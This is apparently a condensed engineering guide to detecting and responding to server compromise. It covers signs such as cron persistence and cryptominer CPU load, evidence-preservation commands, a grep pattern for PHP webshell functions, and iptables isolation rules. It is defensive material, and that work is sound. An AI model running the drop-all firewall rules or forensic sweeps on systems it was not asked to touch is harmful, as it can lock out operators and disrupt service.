Detecting and Remediating Server Compromises: An Engineering Guide

How to Know If a Threat Actor Has Accessed Your Server

Every internet-connected server is a target for unauthorized access. A confirmed compromise can range from low-privilege exploration to sophisticated persistent access involving data exfiltration and backdoors.

Why This Matters

The technical reality is that many teams either dismiss suspicious signals too quickly or panic at false positives. Failing to recognize the gap between ‘something looks off’ and a confirmed breach allows attackers to maintain persistence through cron jobs and SSH keys, potentially leading to catastrophic data breaches if not detected via structured forensic investigation.

Key Insights

• Persistence mechanisms often utilize Cron for automated execution, such as scripts downloading from external URLs in /etc/cron.d/
• Resource abuse is a primary indicator of compromise; cryptominers typically cause CPU usage to consistently exceed 80–90% without application load.
• The DICRP Framework (Detect, Investigate, Contain, Recover, Prevent) provides a structured lifecycle for incident response to avoid premature remediation that destroys volatile evidence.
• Forensic evidence preservation is time-critical; critical data includes running process snapshots (ps auxf) and active network connections (ss -tulpn).
• Attackers frequently use disguised process names like ‘kworkerds’ or ‘.init’ to blend into system services.

Working Examples

Evidence preservation commands for capturing volatile system state during an investigation.

# Capture running processes snapshot
ps auxf > processes.txt
# Capture active network connections
ss -tulpn > network_connections.txt
# Capture logged-in users
who > who.txt
w >> who.txt
last -n 100 > last_logins.txt
# Dump current iptables rules
iptables-save > iptables_rules.txt
# Dump crontabs
crontab -l > root_cron.txt 2>/dev/null
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ===" >> all_crontabs.txt
crontab -u $user -l 2>/dev/null >> all_crontabs.txt
done

Searching web roots for common PHP webshell function signatures.

# Find PHP webshells (eval, system, exec functions)
find /var/www /srv /opt -name "*.php" -exec grep -l "eval\|system\|exec\|base64_decode" {} \;

Immediate server isolation using iptables to stop the bleeding while maintaining investigator access.

# Block all inbound/outbound traffic except your investigation IP
iptables -I INPUT -s YOUR_IP/32 -j ACCEPT
iptables -I OUTPUT -d YOUR_IP/32 -j ACCEPT
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

Practical Applications

• ), Use case: AWS EC2 instances utilizing EBS snapshots before isolation ensures a forensic copy of the disk state is preserved before any remediation occurs.

Pitfall: Rotating credentials while an attacker is still connected may alert them, potentially triggering destructive actions on the system.

Use case: Implementing MFA via libpam-google-authenticator on SSH access points prevents brute-force entries even if passwords are leaked.

Pitfall: Leaving password authentication enabled for service accounts like ‘nobody’, which allows attackers to gain entry via simple brute-force attacks.

References:

• https://dev.to/walosha/how-to-know-if-a-threat-actor-has-accessed-your-server-3372